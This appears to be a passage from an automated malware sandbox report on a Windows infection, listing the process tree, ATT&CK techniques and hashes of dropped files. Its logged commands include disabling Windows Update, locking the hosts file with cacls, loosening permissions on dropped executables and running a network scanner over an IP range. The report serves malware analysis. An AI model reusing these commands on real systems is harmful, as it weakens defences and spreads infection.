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C:\Windows\SysWOW64\sc.exesc config wuauserv start= disabled3⤵
- Launches sc.exe
PID:1880
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C:\Windows\TEMP\xohudmc.exeC:\Windows\TEMP\xohudmc.exe2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
PID:532
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C:\Windows\TEMP\apaubnhnu\gelcitubi.exeC:\Windows\TEMP\apaubnhnu\gelcitubi.exe -accepteula -mp 1036 C:\Windows\TEMP\apaubnhnu\1036.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1720
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C:\Windows\TEMP\apaubnhnu\gelcitubi.exeC:\Windows\TEMP\apaubnhnu\gelcitubi.exe -accepteula -mp 1064 C:\Windows\TEMP\apaubnhnu\1064.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1940
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C:\Windows\TEMP\apaubnhnu\gelcitubi.exeC:\Windows\TEMP\apaubnhnu\gelcitubi.exe -accepteula -mp 1072 C:\Windows\TEMP\apaubnhnu\1072.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2208
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C:\Windows\TEMP\apaubnhnu\gelcitubi.exeC:\Windows\TEMP\apaubnhnu\gelcitubi.exe -accepteula -mp 1912 C:\Windows\TEMP\apaubnhnu\1912.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1632
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C:\Windows\TEMP\apaubnhnu\gelcitubi.exeC:\Windows\TEMP\apaubnhnu\gelcitubi.exe -accepteula -mp 492 C:\Windows\TEMP\apaubnhnu\492.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1904
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C:\Windows\SysWOW64\cmd.execmd.exe /c C:\Windows\apaubnhnu\liyusunlc\scan.bat2⤵
- Loads dropped DLL
PID:1656 -
C:\Windows\apaubnhnu\liyusunlc\eqmguarbb.exeeqmguarbb.exe TCP 191.101.0.1 191.101.255.255 7001 512 /save3⤵
- Executes dropped EXE
- Drops file in Windows directory
PID:1476
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C:\Windows\SysWOW64\cmd.execmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM2⤵PID:2680
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:3720
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C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D users3⤵PID:2424
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2288
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C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D administrators3⤵PID:2776
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:1640
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C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM3⤵PID:1896
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1200
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C:\Windows\SysWOW64\koaaya.exeC:\Windows\SysWOW64\koaaya.exe1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1392
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe C:\Windows\system32\wbem\wmiprvse.exe -Embedding1⤵PID:1616
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C:\Windows\system32\taskeng.exetaskeng.exe {86BCA8EF-B2A1-4BA8-AA16-AB875B5141C8} S-1-5-18:NT AUTHORITY\System:Service:1⤵PID:2512
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C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c C:\Windows\ime\bstalsu.exe2⤵PID:2688
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C:\Windows\ime\bstalsu.exeC:\Windows\ime\bstalsu.exe3⤵
- Executes dropped EXE
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious use of SetWindowsHookEx
PID:2460
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C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\uczbcelu\bstalsu.exe /p everyone:F2⤵PID:2468
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2588
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C:\Windows\system32\cacls.execacls C:\Windows\uczbcelu\bstalsu.exe /p everyone:F3⤵PID:2972
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C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\mlalgeqgl\bacyfi.exe /p everyone:F2⤵PID:2652
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2976
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C:\Windows\system32\cacls.execacls C:\Windows\TEMP\mlalgeqgl\bacyfi.exe /p everyone:F3⤵PID:2996
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C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c C:\Windows\ime\bstalsu.exe2⤵PID:2468
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C:\Windows\ime\bstalsu.exeC:\Windows\ime\bstalsu.exe3⤵
- Executes dropped EXE
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious use of SetWindowsHookEx
PID:1812
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C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\mlalgeqgl\bacyfi.exe /p everyone:F2⤵PID:1692
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:3876
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C:\Windows\system32\cacls.execacls C:\Windows\TEMP\mlalgeqgl\bacyfi.exe /p everyone:F3⤵PID:3968
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C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\uczbcelu\bstalsu.exe /p everyone:F2⤵PID:2332
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2556
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C:\Windows\system32\cacls.execacls C:\Windows\uczbcelu\bstalsu.exe /p everyone:F3⤵PID:388
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe C:\Windows\system32\wbem\wmiprvse.exe -Embedding1⤵PID:2792
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe C:\Windows\system32\wbem\wmiprvse.exe -Embedding1⤵PID:3644
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Defense Evasion
Impair Defenses
1Disable or Modify System Firewall
1Modify Registry
2Subvert Trust Controls
1Install Root Certificate
1Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
95KB
MD586316be34481c1ed5b792169312673fd
SHA16ccde3a8c76879e49b34e4abb3b8dfaf7a9d77b5
SHA25649656c178b17198470ad6906e9ee0865f16f01c1dbbf11c613b55a07246a7918
SHA5123a6e77c39942b89f3f149e9527ab8a9eb39f55ac18a9db3a3922dfb294beb0760d10ca12be0e3a3854ff7dabbe2df18c52e3696874623a2a9c5dc74b29a860bc
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Filesize
275KB
MD54633b298d57014627831ccac89a2c50b
SHA1e5f449766722c5c25fa02b065d22a854b6a32a5b
SHA256b967e4dce952f9232592e4c1753516081438702a53424005642700522055dbc9
SHA51229590fa5f72e6a36f2b72fc2a2cca35ee41554e13c9995198e740608975621142395d4b2e057db4314edf95520fd32aae8db066444d8d8db0fd06c391111c6d3
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Filesize
1.3MB
MD5b56a3fea0c2a940cfe7400bf52bad0f8
SHA1998b7e0dd69c5589ae07d0913b619a469d0282fd
SHA256c197832c78ee91fda29d9c6f896d4f943335414fb9205713acc2eec19caf890f
SHA512d6871817ae363a5b870df948a594b6434350c02b5157550aa095acb23b4b98225c5bcda694c5115118d4e739737555db888e562412c9bde521c9a35182243c18
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Filesize
1.4MB
MD52e9c1e0e6d075de59663f7769698798c
SHA151abcb881bd1e8d365a61b324e0e0ed32d9acf86
SHA2564a0e6db9b63c7c308f158fc189500fedba48ccaefb163a1310c4b9dff55848b5
SHA5125495d0c6428cdab0bb748f0f06d3f268307e0d791a720bc5d8bd69518eb1c8c4a760fcf5d12e012107c1e9edc591b801e3729c04cf02b6783c3afeaac565b4b2
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Filesize
4.5MB
MD541c66cb59f894a5330a141990094792c
SHA1a3735dbc758d0f67e60120d1995ed17f38f09a5f
SHA256d770d5a66adb5a195594eecd83c04f68c63917831229afc6e5bb597aed049c66
SHA512688f2f127e8b8d4a6f14fe8883d66b7abc0c502caa71782d6d411c275d9faff782ec26e8eba8c4296deaa0379f6f24f8cfb22c264433ec20528a7f2b0bb90ca0
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Filesize
7.2MB
MD519d8db4d2eeda7c4933ff1da71a797b6
SHA1d84164bf67589f7ab75fe0f1f6e2604bc24dc2d0
SHA25695edc8e5a274b3b5cf93b85f7d281b0b28f4c3f4b505d5b91d828cefdb1d8885
SHA5127d0fcceeb4ffdf6cdb16e1187e21e218e26073a0f7ab44d3de8d014213c25df94a64c6bce4606e4b1cd5a00cd5ac685e40410ff36d46440c98718277bf185f35
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Filesize
851KB
MD5a196226e0f1addafd49f0c9e9144e247
SHA1a8ae37a6b72046b905150bcf30260c539c48ce0e
SHA256d3641dc8a0a236176033fc5996cf25f4f18f486129d90163456a9789dfa16880
SHA512545d1aad5b460ecd3a93679c741f3e1b1bfe5e2d3e945d1bbb560250b56c6812001c052cbe5bb4c990c7fc25f7f4962dfe51546c43984dd1a3c234f0cfc2a174
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Filesize
693B
MD5f2d396833af4aea7b9afde89593ca56e
SHA108d8f699040d3ca94e9d46fc400e3feb4a18b96b
SHA256d6ae7c6275b7a9b81ae4a4662c9704f7a68d5943fcc4b8d035e53db708659b34
SHA5122f359d080c113d58a67f08cb44d9ab84b0dfd7392d6ddb56ca5d1b0e8aa37b984fac720e4373d4f23db967a3465fcf93cee66d7934d4211a22e1ebc640755f01
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Filesize
126KB
MD5e8d45731654929413d79b3818d6a5011
SHA123579d9ca707d9e00eb62fa501e0a8016db63c7e
SHA256a26ae467f7b6f4bb23d117ca1e1795203821ca31ce6a765da9713698215ae9af
SHA512df6bcdc59be84290f9ecb9fa0703a3053498f49f63d695584ffe595a88c014f4acf4864e1be0adf74531f62ce695be66b28cfd1b98e527ab639483802b5a37a6
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Filesize
63KB
MD5821ea58e3e9b6539ff0affd40e59f962
SHA1635a301d847f3a2e85f21f7ee12add7692873569
SHA256a06d135690ec5c5c753dd6cb8b4fe9bc8d23ca073ef9c0d8bb1b4b54271f56bb
SHA5120d08235781b81ff9e0a75f0e220a8d368d95ee75bf482670e83696e59d991aad68310ae7fa677ac96ffad1f97b3ec7d7208dc26d2edb111c39213b32502b82f6
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Filesize
332KB
MD5ea774c81fe7b5d9708caa278cf3f3c68
SHA1fc09f3b838289271a0e744412f5f6f3d9cf26cee
SHA2564883500a1bdb7ca43749635749f6a0ec0750909743bde3a2bc1bfc09d088ca38
SHA5127cfde964c1c62759e3ba53c47495839e307ba0419d740fcacbeda1956dcee3b51b3cf39e6891120c72d0aae48e3ea1019c385eb5006061ced89f33b15faa8acb
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Filesize
162B
MD56dc599081d3b3883a22f08cd6e9db841
SHA191fdd1dd8431e81f175ceafa6ba047cf483cdd66
SHA2567264b54dc4381d7dbf8c64eaec971f0292daaf7796d26fe83d8f486fe1c105b8
SHA512ed9cb72029f9c67a3edcf7c2ac5bfa7e156c40a8aa1c8a038a5bf686892539ea7084cba6d89ef5083c81301225f3418eaf77aedf348b9fb5bc6cdccf44d30a52
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Filesize
160B
MD5f0a9048fcd95acea704f0fe5a0b80369
SHA15ec5702a158f96923fc3e76a283ae35b0a11fd36
SHA256f5bd26cce53032288ee6a85f12779ec1ffdc82703a28f4d3d7c21191360eddd2
SHA512fa1d85c434616696f207c0f8fcf0f8788dc0564f3666a5558b66a28cba9e1667a6324179a149dacfa16ab63f41217f5aa8112c97cb74bdcfc0b0741df4f1c208
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Filesize
975B
MD5b5d815ff5310f62de5020591be598bc0
SHA18013562b0cc2516d16d474308c8982a31b7f5dd0
SHA256a7ea603e6e80aed429a34b68ca8210ae3b082cf6104646ed7f8025c3b304ae85
SHA5124e3175ef0c289e1beea60f51239a98533690505b709f778703502dad3f72e3c7e9aa26e1a3837712ed5e1344e28e5ccff1d63a1245352bbc8435a71e15347a94
-
Filesize
343KB
MD52b4ac7b362261cb3f6f9583751708064
SHA1b93693b19ebc99da8a007fed1a45c01c5071fb7f
SHA256a5a0268c15e00692a08af62e99347f6e37ee189e9db3925ebf60835e67aa7d23
SHA512c154d2c6e809b0b48cc2529ea5745dc4fc3ddd82f8f9d0f7f827ff5590868c560d7bec42636cb61e27cc1c9b4ac2499d3657262826bbe0baa50f66b40e28b616
-
Filesize
11KB
MD52ae993a2ffec0c137eb51c8832691bcb
SHA198e0b37b7c14890f8a599f35678af5e9435906e1
SHA256681382f3134de5c6272a49dd13651c8c201b89c247b471191496e7335702fa59
SHA5122501371eb09c01746119305ba080f3b8c41e64535ff09cee4f51322530366d0bd5322ea5290a466356598027e6cda8ab360caef62dcaf560d630742e2dd9bcd9
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Filesize
6KB
MD5b648c78981c02c434d6a04d4422a6198
SHA174d99eed1eae76c7f43454c01cdb7030e5772fc2
SHA2563e3d516d4f28948a474704d5dc9907dbe39e3b3f98e7299f536337278c59c5c9
SHA512219c88c0ef9fd6e3be34c56d8458443e695badd27861d74c486143306a94b8318e6593bf4da81421e88e4539b238557dd4fe1f5bedf3ecec59727917099e90d2
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Filesize
72KB
MD5cbefa7108d0cf4186cdf3a82d6db80cd
SHA173aeaf73ddd694f99ccbcff13bd788bb77f223db
SHA2567c65ffc83dbbbd1ec932550ea765031af6e48c6b5b622fc2076c41b8abb0fcb9
SHA512b89b6d9c77c839d0d411d9abf2127b632547476c2272219d46ba12832d5a1dab98f4010738969e905e4d791b41596473397cf73db5da43ecab23486e33b0e1d1
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Filesize
381KB
MD5fd5efccde59e94eec8bb2735aa577b2b
SHA151aaa248dc819d37f8b8e3213c5bdafc321a8412
SHA256441430308fa25ec04fd913666f5e0748fdb10743984656d55acc26542e5fff45
SHA51274a7eebdee9d25a306be83cb3568622ea9c1b557a8fbb86945331209bdc884e48113c3d01aac5347d88b8d2f786f8929aa6bb55d80516f3b4f9cc0f18362e8e3
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Filesize
424KB
MD5e9c001647c67e12666f27f9984778ad6
SHA151961af0a52a2cc3ff2c4149f8d7011490051977
SHA2567ec51f4041f887ba1d4241054f3be8b5068291902bada033081eff7144ec6a6d
SHA51256f0cff114def2aeda0c2c8bd9b3abcacef906187a253ea4d943b3f1e1ca52c452d82851348883288467a8c9a09d014910c062325964bcfe9618d7b58056e1fe
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Filesize
8.7MB
MD558d2013d49ca837892ac5c708c902f23
SHA1499981bc4f616df8dc62ca0cf57857823f3a06e9
SHA256ef8d596ee0c9e055f5b84ef79774103f7bc795cb45d5076b20691860045f516e
SHA5123ce34add4e613d9d6d0ada3e4ac9cbda0c1fa3077ee09eb066488332ecc5fa8a9c89c68383b49f876470bdc469a86c28044ebf9c6298ba43424d33110c87ed79